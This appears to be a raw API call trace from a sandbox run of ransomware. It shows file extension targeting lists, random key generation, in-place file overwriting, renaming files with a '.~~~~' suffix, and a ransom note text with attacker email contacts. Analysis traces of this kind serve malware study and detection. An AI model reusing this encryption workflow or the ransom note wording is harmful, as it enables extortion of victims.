	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".MYD") returned 0x0
	[0067.123] lstrlenW (lpString=".DBT") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DBT") returned 0x0
	[0067.123] lstrlenW (lpString=".ACCDB") returned 6
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".ACCDB") returned 0x0
	[0067.123] lstrlenW (lpString=".fdb") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".fdb") returned 0x0
	[0067.123] lstrlenW (lpString=".bak") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".bak") returned 0x0
	[0067.124] lstrlenW (lpString=".myd") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".myd") returned 0x0
	[0067.124] lstrlenW (lpString=".DTXS") returned 5
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DTXS") returned 0x0
	[0067.124] lstrlenW (lpString=".ckp") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".ckp") returned 0x0
	[0067.124] lstrlenW (lpString=".dbt") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dbt") returned 0x0
	[0067.124] lstrlenW (lpString=".db") returned 3
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".db") returned 0x0
	[0067.124] lstrlenW (lpString=".TXT") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".TXT") returned 0x0
	[0067.124] lstrlenW (lpString=".MDF") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".MDF") returned 0x0
	[0067.124] lstrlenW (lpString=".bdb") returned 4
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".bdb") returned 0x0
	[0067.124] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa750
	[0067.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.125] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0067.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.126] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0067.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0067.126] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18711604298) returned 1
	[0067.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x95088e70, dwHighDateTime=0x1d60e1e)) 
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9bb0
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9bb0 | out: hHeap=0x300000) returned 1
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.127] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0067.127] GetLastError () returned 0x0
	[0067.127] SetLastError (dwErrCode=0x0) 
	[0067.127] GetLastError () returned 0x0
	[0067.127] SetLastError (dwErrCode=0x0) 
	[0067.127] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0067.127] GetLastError () returned 0x0
	[0067.127] SetLastError (dwErrCode=0x0) 
	[0067.127] GetLastError () returned 0x0
	[0067.127] SetLastError (dwErrCode=0x0) 
	[0067.127] GetLastError () returned 0x0
	[0067.127] SetLastError (dwErrCode=0x0) 
	[0067.127] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.128] SetLastError (dwErrCode=0x0) 
	[0067.128] GetLastError () returned 0x0
	[0067.129] SetLastError (dwErrCode=0x0) 
	[0067.129] GetLastError () returned 0x0
	[0067.129] SetLastError (dwErrCode=0x0) 
	[0067.129] GetLastError () returned 0x0
	[0067.129] SetLastError (dwErrCode=0x0) 
	[0067.129] GetLastError () returned 0x0
	[0067.129] SetLastError (dwErrCode=0x0) 
	[0067.129] GetLastError () returned 0x0
	[0067.129] SetLastError (dwErrCode=0x0) 
	[0067.129] GetLastError () returned 0x0
	[0067.129] SetLastError (dwErrCode=0x0) 
	[0067.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0067.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.129] ReadFile (in: hFile=0x11c, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.136] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.136] WriteFile (in: hFile=0x11c, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0067.137] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0067.137] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0067.139] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0067.140] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0067.140] CloseHandle (hObject=0x11c) returned 1
	[0069.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0069.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.~~~~")) returned 1
	[0069.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0069.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0069.202] GetLastError () returned 0x0
	[0069.203] SetLastError (dwErrCode=0x0) 
	[0069.203] GetLastError () returned 0x0
	[0069.203] SetLastError (dwErrCode=0x0) 
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b740 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa750 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a53b0 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0069.203] RtlWakeConditionVariable () returned 0x365f70
	[0069.203] GetCurrentThreadId () returned 0xaf0
	[0069.203] GetCurrentThreadId () returned 0xaf0
	[0069.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0069.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e068 | out: hHeap=0x300000) returned 1
	[0069.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0069.203] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0069.204] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0069.204] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0069.205] CloseHandle (hObject=0x11c) returned 1
	[0069.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0069.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6fb8 | out: hHeap=0x300000) returned 1
	[0069.205] RtlWakeConditionVariable () returned 0x365f70
	[0069.206] GetCurrentThreadId () returned 0xaf0
	[0069.206] GetCurrentThreadId () returned 0xaf0
	[0069.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0069.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0069.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b21f8
	[0069.206] lstrlenW (lpString=".scr") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0069.206] lstrlenW (lpString=".cmd") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0069.206] lstrlenW (lpString=".dll") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0069.206] lstrlenW (lpString=".bat") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0069.206] lstrlenW (lpString=".cpl") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0069.206] lstrlenW (lpString=".sys") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0069.206] lstrlenW (lpString=".msc") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0069.206] lstrlenW (lpString=".com") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0069.206] lstrlenW (lpString=".lnk") returned 4
	[0069.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0069.207] lstrlenW (lpString=".msp") returned 4
	[0069.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0069.207] lstrlenW (lpString=".pif") returned 4
	[0069.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0069.207] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0069.207] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0069.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b21f8 | out: hHeap=0x300000) returned 1
	[0069.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0069.207] RtlWakeConditionVariable () returned 0x365f70
	[0069.207] GetCurrentThreadId () returned 0xaf0
	[0069.207] GetCurrentThreadId () returned 0xaf0
	[0069.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0069.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0069.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b21f8
	[0069.207] lstrlenW (lpString=".scr") returned 4
	[0069.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0069.207] lstrlenW (lpString=".cmd") returned 4
	[0069.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0069.207] lstrlenW (lpString=".dll") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0069.208] lstrlenW (lpString=".bat") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0069.208] lstrlenW (lpString=".cpl") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0069.208] lstrlenW (lpString=".sys") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0069.208] lstrlenW (lpString=".msc") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0069.208] lstrlenW (lpString=".com") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0069.208] lstrlenW (lpString=".lnk") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0069.208] lstrlenW (lpString=".msp") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0069.208] lstrlenW (lpString=".pif") returned 4
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0069.208] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0069.208] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0069.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b21f8 | out: hHeap=0x300000) returned 1
	[0069.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0069.209] RtlWakeConditionVariable () returned 0x365f70
	[0069.209] GetCurrentThreadId () returned 0xaf0
	[0069.209] GetCurrentThreadId () returned 0xaf0
	[0069.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0069.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fae48 | out: hHeap=0x300000) returned 1
	[0069.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0069.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a53b0
	[0069.209] lstrlenW (lpString=".scr") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".scr") returned 0x0
	[0069.209] lstrlenW (lpString=".cmd") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".cmd") returned 0x0
	[0069.209] lstrlenW (lpString=".dll") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dll") returned 0x0
	[0069.209] lstrlenW (lpString=".bat") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".bat") returned 0x0
	[0069.209] lstrlenW (lpString=".cpl") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".cpl") returned 0x0
	[0069.209] lstrlenW (lpString=".sys") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".sys") returned 0x0
	[0069.209] lstrlenW (lpString=".msc") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".msc") returned 0x0
	[0069.209] lstrlenW (lpString=".com") returned 4
	[0069.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".com") returned 0x0
	[0069.210] lstrlenW (lpString=".lnk") returned 4
	[0069.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".lnk") returned 0x0
	[0069.210] lstrlenW (lpString=".msp") returned 4
	[0069.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".msp") returned 0x0
	[0069.210] lstrlenW (lpString=".pif") returned 4
	[0069.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".pif") returned 0x0
	[0069.210] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0069.210] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0069.211] lstrlenW (lpString=".sqb") returned 4
	[0069.211] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".sqb") returned 0x0
	[0069.212] lstrlenW (lpString=".ost") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".ost") returned 0x0
	[0069.212] lstrlenW (lpString=".txt") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".txt") returned 0x0
	[0069.212] lstrlenW (lpString=".mdt") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".mdt") returned 0x0
	[0069.212] lstrlenW (lpString=".BDB") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".BDB") returned 0x0
	[0069.212] lstrlenW (lpString=".eql") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".eql") returned 0x0
	[0069.212] lstrlenW (lpString=".DBF") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DBF") returned 0x0
	[0069.212] lstrlenW (lpString=".EQL") returned 4
